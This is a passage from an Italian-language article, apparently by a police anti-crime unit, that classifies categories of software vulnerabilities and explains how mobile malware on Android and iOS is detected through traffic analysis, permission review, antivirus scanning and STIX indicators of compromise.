    2. API abuse: riguarda l’uso improprio delle API, spesso dovuto a una mancata comprensione dei limiti o delle modalità d’uso corrette delle stesse, che può consentire exploit a livello di API.
    3. Security features: include difetti legati all’implementazione errata delle caratteristiche di sicurezza, come l’autenticazione, la gestione delle sessioni, e il controllo degli accessi. Difetti in questo “regno” possono portare a problemi come session hijacking o bypass delle restrizioni di accesso.
    4. Time and state: questo “regno” riguarda vulnerabilità legate alla gestione del tempo e degli stati. Problemi come race conditions (condizioni di corsa) o gestione inadeguata delle risorse possono far sì che un utente malintenzionato prenda il controllo di una risorsa o esegua azioni dannose.
    5. Errors: si riferisce alla gestione errata degli errori, come la visualizzazione di messaggi d’errore dettagliati che rivelano informazioni sensibili o la mancanza di controllo su errori imprevisti, che possono facilitare l’enumerazione o l’accesso a dettagli interni.
    6. Code quality: questo “regno” comprende le vulnerabilità derivanti da una scarsa qualità del codice, come buffer overflow, pointer dereferencing e altri errori che possono portare a comportamenti imprevisti o a falle di sicurezza.
    7. Encapsulation: si riferisce a difetti nella separazione dei dati e nella gestione dell’accesso. Problemi di incapsulamento possono portare a fughe di informazioni o all’alterazione di dati interni che dovrebbero essere inaccessibili all’utente.

    (torna su)

    Mobile analysis per la rilevazione di virus e malware su Android e iOS

    La sicurezza dei dispositivi mobile è diventata una preoccupazione critica nell’era digitale. Con oltre 6 miliardi di utenti di smartphone in tutto il mondo, questi dispositivi sono diventati un obiettivo primario per i criminali informatici. Gli smartphone contengono una vasta quantità di dati personali e aziendali sensibili, rendendo l’analisi malware su questi dispositivi un aspetto fondamentale della cybersecurity moderna.

    Android e iOS presentano approcci diversi in termini di architettura e sicurezza. Android, essendo un sistema più aperto, consente maggiore flessibilità agli utenti ma anche una maggiore esposizione alle minacce. Al contrario, iOS adotta un modello più chiuso, con rigidi controlli su app e accessi, il che rende più difficile compromettere il sistema, ma non lo esclude.

    L’analisi malware su smartphone è il processo di esaminare un dispositivo mobile per rilevare, identificare e comprendere software malevoli che potrebbero comprometterne la sicurezza. Questa pratica è essenziale per:

    • proteggere le informazioni personali degli utenti;
    • salvaguardare i dati aziendali su dispositivi BYOD (Bring Your Own Device)[1];
    • mantenere l’integrità delle reti mobili;
    • prevenire frodi finanziarie e furti di identità.

    I malware per smartphone si sono evoluti in diverse forme, ciascuna con obiettivi e metodi di attacco specifici:

    • Spyware: raccoglie informazioni sull’utente senza il suo consenso;
    • Ransomware: estorce denaro bloccando l’accesso ai dati o al dispositivo crittografando i file;
    • Adware: genera ricavi attraverso pubblicità invasive, mostra annunci non richiesti, reindirizza a siti web malevoli;
    • Trojan: si nasconde come app legittima per eseguire azioni malevole in background;
    • Rootkit: ottiene l’accesso privilegiato al sistema operativo modificando il kernel del sistema per nascondere la propria presenza.

    I malware possono infettare gli smartphone attraverso vari vettori:

    • download di app da fonti non ufficiali;
    • phishing attraverso SMS, email o messaggi sui social media con link malevoli;
    • exploit di vulnerabilità del sistema operativo sfruttando bug o falle di sicurezza non corrette nel sistema operativo;
    • connessioni Wi-Fi non sicure: intercettazione dei dati su reti pubbliche non protette.

    L’analisi del malware per smartphone richiede un approccio multifaceted che combina diverse tecniche per ottenere una comprensione completa della minaccia. In tal senso, personale specializzato di questa articolazione Anticrimine ha implementato procedure e tecniche informatiche orientate all’analisi:

    • del traffico di rete: una delle tecniche principali per identificare la presenza di malware su un dispositivo mobile è l’analisi del traffico di rete. Il comportamento delle app e dei processi in background può rivelare informazioni cruciali riguardanti attività malevole. Attraverso tecniche di sniffing del traffico, è possibile catturare il flusso di pacchetti di rete, analizzare la destinazione e il contenuto dei dati scambiati, nonché rilevare anomalie nei pattern di traffico[2];
    • del comportamento delle applicazioni: le applicazioni malevole spesso richiedono più autorizzazioni di quelle strettamente necessarie al loro funzionamento;
    • attraverso scansione antivirus: la scansione antivirus è una tecnica fondamentale e ampiamente utilizzata per l’analisi preliminare e la rilevazione di malware su smartphone. Questa metodologia si basa principalmente su un approccio di riconoscimento delle firme[3], integrato con tecniche euristiche e di rilevamento comportamentale[4];
    • delle tracce di compromissione: è particolarmente utile analizzare tracce di compromissione (Indicators of Compromise, IoC), come quelle identificate tramite lo “Structured Threat Information Expression” (STIX)[5], che possono rivelare la presenza di malware o altre attività dannose. L’utilizzo di STIX nell’analisi di malware su smartphone rappresenta un approccio avanzato che combina standardizzazione, condivisione di intelligence e analisi strutturata. Mentre richiede un certo expertise, offre benefici significativi in termini di comprensione approfondita delle minacce e integrazione con l’ecosistema più ampio della cybersecurity.

    [1] Espressione usata per riferirsi alle politiche aziendali che permettono di portare i propri dispositivi personali nel posto di lavoro e usarli per avere gli accessi privilegiati alle informazioni aziendali e alle loro applicazioni.

    [2] L’analisi dei pattern di comunicazione, come connessioni frequenti a server esterni sconosciuti o trasferimenti di grandi quantità di dati senza autorizzazione dell’utente, può suggerire la presenza di malware.

    [3] Gli antivirus confrontano i file presenti nel sistema con un database di firme di malware conosciuti. Ogni virus o malware ha una propria “firma”, una sorta di impronta digitale unica che lo identifica. Se l’antivirus rileva una corrispondenza, segnala il file come dannoso.

    [4] Questa tecnica si basa sull’analisi del comportamento dei file e delle applicazioni. Piuttosto che cercare solo firme conosciute, il rilevamento euristico osserva i comportamenti anomali, come l’accesso non autorizzato ai dati sensibili o l’invio di pacchetti di dati a server remoti. Ciò permette all’antivirus di identificare anche malware sconosciuti, basandosi sulle azioni che essi tentano di compiere.

    [5] Lo Structured Threat Information Expression (STIX) è un linguaggio standardizzato per la rappresentazione di informazioni sulle minacce informatiche. Nel contesto dell’analisi di malware su smartphone, STIX fornisce un framework strutturato per identificare, catalogare e analizzare le tracce di compromissione (Indicators of Compromise, IoC).